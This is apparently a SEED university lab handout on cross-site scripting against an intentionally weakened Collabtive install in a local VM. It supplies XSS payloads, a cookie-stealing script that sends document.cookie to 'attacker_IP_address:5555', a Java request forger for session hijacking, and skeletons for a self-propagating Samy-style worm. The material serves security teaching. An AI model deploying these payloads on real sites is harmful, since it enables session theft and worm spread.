Cross-Site Scripting (XSS) Attack Lab
(Web Application: Collabtive)

The development of this document is/was funded by three grants from the US National Science Foundation: Awards No. 0231122 and 0618680 from TUES/CCLI and Award No. 1017771 from Trustworthy Computing.

1 Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based project management software named `Collabtive`. We modified the software to introduce an XSS vulnerability in this project management software; this vulnerability allows users to post any arbitrary message, including JavaScript programs, to the project introduction, message board, tasklist, milestone, timetracker and even the profiles. Students need to exploit this vulnerability by posting some malicious messages to their profiles; users who view these profiles will become victims. The attackers' goal is to post forged messages for the victims.

2 Lab Environment

You need to use our provided virtual machine image for this lab. The name of the VM image that supports this lab is called `SEEDUbuntu11.04-Aug-2011`, which is built in August 2011. If you happen to have an older version of our pre-built VM image, you need to download the most recent version, as the older version does not support this lab. Go to our SEED web page (`http://www.cis.syr.edu/~wedu/seed/`) to get the VM image.

2.1 Environment Configuration

In this lab, we need three things, are of which are already installed in the provided VM image: (1) the Firefox web browser, (2) the Apache web server, and (3) the `Collabtive` project management web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The Apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You need to first start the web server using the following command:

```
% sudo service apache2 start
```

The `Collabtive` Web Application. We use an open-source web application called `Collabtive` in this lab. `Collabtive` is a web-based project management system. This web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts on the `Collabtive` server. To see all the users' account information, first log in as the admin using the following password; other users' account information can be obtained from the post on the front page.

```
username: admin
password: admin
```

Configuring DNS. We have configured the following URL needed for this lab. To access the URL , the Apache server needs to be started first:

URL	Description	Directory
`http://www.xsslabcollabtive.com`	Collabtive	`/var/www/XSS/Collabtive/`

The above URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name of each URL to the virtual machine's local IP address (`127.0.0.1`). You may map any domain name to a particular IP address using `/etc/hosts`. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts`:

```
127.0.0.1       www.example.com
```

If your web server and browser are running on two different machines, you need to modify `/etc/hosts` on the browser's machine accordingly to map these domain names to the web server's IP address, not to `127.0.0.1`.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory "`/etc/apache2/sites-available`" contains the necessary directives for the configuration:

1. The directive "`NameVirtualHost *`" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever necessary, we provide a sample JavaScript program to help the students get started. To complete task 3, students may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be configured to listen on a particular port and display incoming messages. The C program can be downloaded from the web site for this lab.

2.2 Note for Instructors

This lab may be conducted in a supervised lab environment. In such a case, the instructor may provide the following background information to the students prior to doing the lab:

1. How to use the virtual machine, Firefox web browser, and the `LiveHTTPHeaders` extension.
2. Basics of JavaScript and `XMLHttpRequest` object.
3. A brief overview of the tasks.
4. How to use the C program that listens on a port.
5. How to write a java program to send a HTTP message post.

3 Lab Tasks

3.1 Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your `Collabtive` profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

If you embed the above JavaScript code in your profile (e.g. in the company field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the company field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the `src` attribute in the `<script>` tag. See the following example:

```
<script type="text/javascript"
        src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from `http://www.example.com`, which can be any web server.

3.2 Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your Collabtive profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert(document.cookie);</script>
```

3.3 Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an <img> tag with its src attribute set to the attacker's machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives. The TCP server program is available from the lab's web site.

```
<script>document.write('<img src=http://attacker_IP_address:5555?c='
                                + escape(document.cookie) + '   >');
</script>
```

3.4 Task 4: Session Hijacking using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the Collabtive web server, including creating a new project on behalf of the victim, deleting the victim's post, etc. Essentially, the attack has hijacked the victim's session. In this task, we will launch this session hijacking attack, and write a program to create a new project on behalf of the victim. The attack should be launched from another virtual machine.

To forge a project, we should first find out how a legitimate user creates a project in Collabtive. More specifically, we need to figure out what are sent to the server when a user creates a project. Firefox's LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. A screen shot of LiveHTTPHeaders is given in Figure1. The LiveHTTPHeaders is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for project creation looks like, we can write a Java program to send out the same HTTP request. The Collabtive server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Java program. As long as we set all the parameters correctly, and the session cookie is attached, the server will accept and process the project-posting HTTP request. To simplify your task, we provide you with a sample java program that does the following:

1. Open a connection to web server.
2. Set the necessary HTTP header information.
3. Send the request to web server.

4. Get the response from web server.

```
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {

   public static void main(String[] args) throws IOException {
   try {
        int responseCode;
        InputStream responseIn=null;

        // URL to be forged.
        URL url = new URL ("http://victim_IP_address/collabtive/
                                              admin.php?action=addpro");

        // URLConnection instance is created to further parameterize a
        // resource request past what the state members of URL instance
        // can represent.
        URLConnection urlConn = url.openConnection();
        if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
        }

        // addRequestProperty method is used to add HTTP Header Information.
        // Here we add User-Agent HTTP header to the forged HTTP packet.
        // Add other necessary HTTP Headers yourself. Cookies should be stolen
        // using the method in task3.
        urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

        //HTTP Post Data which includes the information to be sent to the server.
        String data="name=test&desc=test...&assignto[]=...&assignme=1";

        // DoOutput flag of URL Connection should be set to true
        // to send HTTP POST message.
        urlConn.setDoOutput(true);

        // OutputStreamWriter is used to write the HTTP POST data
        // to the url connection.
        OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
        wr.write(data);
        wr.flush();

        // HttpURLConnection a subclass of URLConnection is returned by
        // url.openConnection() since the url  is an http request.
        if (urlConn instanceof HttpURLConnection) {
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                // Contacts the web server and gets the status code from
                // HTTP Response message.
                responseCode = httpConn.getResponseCode();
                System.out.println("Response Code = " + responseCode);

                // HTTP status code HTTP_OK means the response was
                // received sucessfully.
                if (responseCode == HttpURLConnection.HTTP_OK) {
```

```
                        // Get the input stream from url connection object.
                        responseIn = urlConn.getInputStream();

                        // Create an instance for BufferedReader
                        // to read the response line by line.
                        BufferedReader buf_inp = new BufferedReader(
                                        new InputStreamReader(responseIn));
                        String inputLine;
                        while((inputLine = buf_inp.readLine())!=null) {
                                System.out.println(inputLine);
                        }
                }
        }
     } catch (MalformedURLException e) {
                e.printStackTrace();
     }
   }
}
```

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: `http://java.sun.com/javase/6/docs/api/`
- Java Protocol Handler: `http://java.sun.com/developer/onlineTraining/protocolhandlers/`

3.5 Task 5: Writing an XSS Worm

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). First, we will write an XSS worm that does not self-propagate; in the next task, we will make it self-propagating. From the previous task, we have learned how to steal the cookies from the victim and then forge—from the attacker's machine—HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to modify the victim's profile.

Guideline 1: Using Ajax. The malicious JavaScript should be able to send an HTTP request to the `Collabtive` server, asking it to modify the current user's profile. There are two common types of HTTP requests, one is HTTP `GET` request, and the other is HTTP `POST` request. These two types of HTTP requests differ in how they send the contents of the request to the server. In `Collabtive`, the request for modifying profile uses HTTP `POST` request. We can use the `XMLHttpRequest` object to send HTTP `GET` and `POST` requests to web applications.

To learn how to use `XMLHttpRequest`, you can study these cited documents [1, 2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. You will have to use some of these functions.

Guideline 2: Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you store the final JavaScript code as a worm in the standalone file, you need to remove all the comments, extra space, new-line characters, `<script>` and `</script>`.

```
<script>
var Ajax=null;
```

```
// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabcollabtive.com/manageuser.php?action=edit",true);
Ajax.setRequestHeader("Host","www.xsslabcollabtive.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


// Construct the content. The format of the content can be learned
// from LiveHTTPHeaders.
var content="name=...&company=&..."; // You need to fill in the details.

// Send the HTTP POST request.
Ajax.send(content);
</script>
```

You may also need to debug your JavaScript code. `Firebug` is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. It is already installed in our pre-built `Ubuntu` VM image. After finishing this task, change the "Content-Type" to "multipart/form-data" as in the original HTTP request. Repeat your attack, and describe your observation.

Guideline 3: Getting the user name. To modify the victim's profile, the HTTP requests sent from the worm should contain the victim's name, so the worm needs to find out this information. The name is actually displayed in the web page, but it is fetched using JavaScript code. We can use the same code to get the name.

`Collabtive` uses the `PeriodicalUpdate` function to update the online user information. An example using `PeriodicalUpdate` is given below. This code displays the reply from the server, and the name of the current user is contained in the reply. In order to retrieve the name from the reply, you may need to learn some string operations in JavaScript. You should study this cited tutorial [4].

```
<script>var on=new Ajax.PeriodicalUpdater("onlinelist",
"manageuser.php?action=onlinelist",
{method:'get',onSuccess:function(transport){alert(transport.responseText);},
frequence:1000})</script>
```

Guideline 4: Be careful when dealing with an infected profile. Sometimes, a profile is already infected by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not careful, you may end up removing the XSS worm from the profile.

3.6 Task 6: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is the exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users are affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a *self-propagating cross-site scripting worm*. In this task, you need to implement such a worm.

To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile. There are several approaches to achieve this, and we will discuss two common approaches:

- If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

```
<script id=worm>
   var strCode = document.getElementById("worm");
   alert(strCode.innerHTML);
</script>
```

- If the worm is included using the `src` attribute in the `<script>` tag, writing self-propagating worms is much easier. We have discussed the `src` attribute in Task 1, and an example is giving below. The worm can simply copy the following `<script>` tag to the victim's profile, essentially infecting the profile with the same worm.

```
<script type='text\javascript' src='http://example.com/xss_worm.js'>
</script>
```

Guideline: URL Encoding. All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages sent to `Collabtive` should be encoded using URL encoding. The `escape` function can be used to URL encode a string. An example of using the encode function is given below.

```
<script>
  var strSample = "Hello World";
  var urlEncSample = escape(strSample);
  alert(urlEncSample);
</script>
```

Under the URL encoding scheme the "+" symbol is used to denote space. In JavaScript programs, "+" is used for both arithmetic operations and string operations. To avoid this ambiguity, you may user the `concat` function for string concatenation, and avoid using addition. For the worm code in the exercise, you don't have to use additions. If you do have to add a number (e.g a+5), you can use subtraction (e.g a-(-5)).

3.7 Task 7: Countermeasures

`Collabtive` does have a built-in countermeasure to defend against XSS attacks. We have commented out the countermeasure to simplify the attack. Please open `include/initfunctions.php` and find the `getArrayVal()` function.

```
   We have replaced the following line:
      return strip_only_tags($array[$name], "script");
   with:
      return ($array[$name]);
```

Please describe why the function `strip_only_tags` can make XSS attacks more difficult. Please read the article [5] by the author of the Samy Worm and see how he bypassed the similar countermeasures initially implemented in `MySpace`. Please try his approaches and see whether you can defeat the `Collabtive`'s countermeasure.

4 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using `LiveHTTPHeaders`, `Wireshark`, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] AJAX for n00bs. Available at the following URL: `http://www.hunlock.com/blogs/AJAX_for_n00bs`.

[2] AJAX POST-It Notes. Available at the following URL: `http://www.hunlock.com/blogs/AJAX_POST-It_Notes`.

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL: `http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial`.

[4] The Complete Javascript Strings Reference. Available at the following URL: `http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference`.

[5] Technical explanation of The MySpace Worm. Available at URL: `http://namb.la/popular/tech.html`.

[6] Web Based Project Management With Collabtive On Ubuntu 7.10 Server. `http://howtoforge.com/web-based-project-management-with-collabtive-on-ubuntu7.10-server`.

```
http://victim_IP_address/collabtive/admin.php?action=addpro

POST /admin.php?action=addpro HTTP/1.1
Host: victim_IP_address
User-Agent: Mozilla/5.0 (X11;  Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://victim_IP_address/collabtive/index.php
Cookie: PHPSESSID=......
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
name=<Content of the message>



HTTP/1.1 302 Found
Date: Fri, 22 Jul 2011 19:43:15 GMT
Server: Apache/2.2.17 (Ubuntu)
X-Powered-By: PHP/5.3.5-1ubuntu7.2
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 26
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
```

Figure 1: Screenshot of `LiveHTTPHeaders` Extension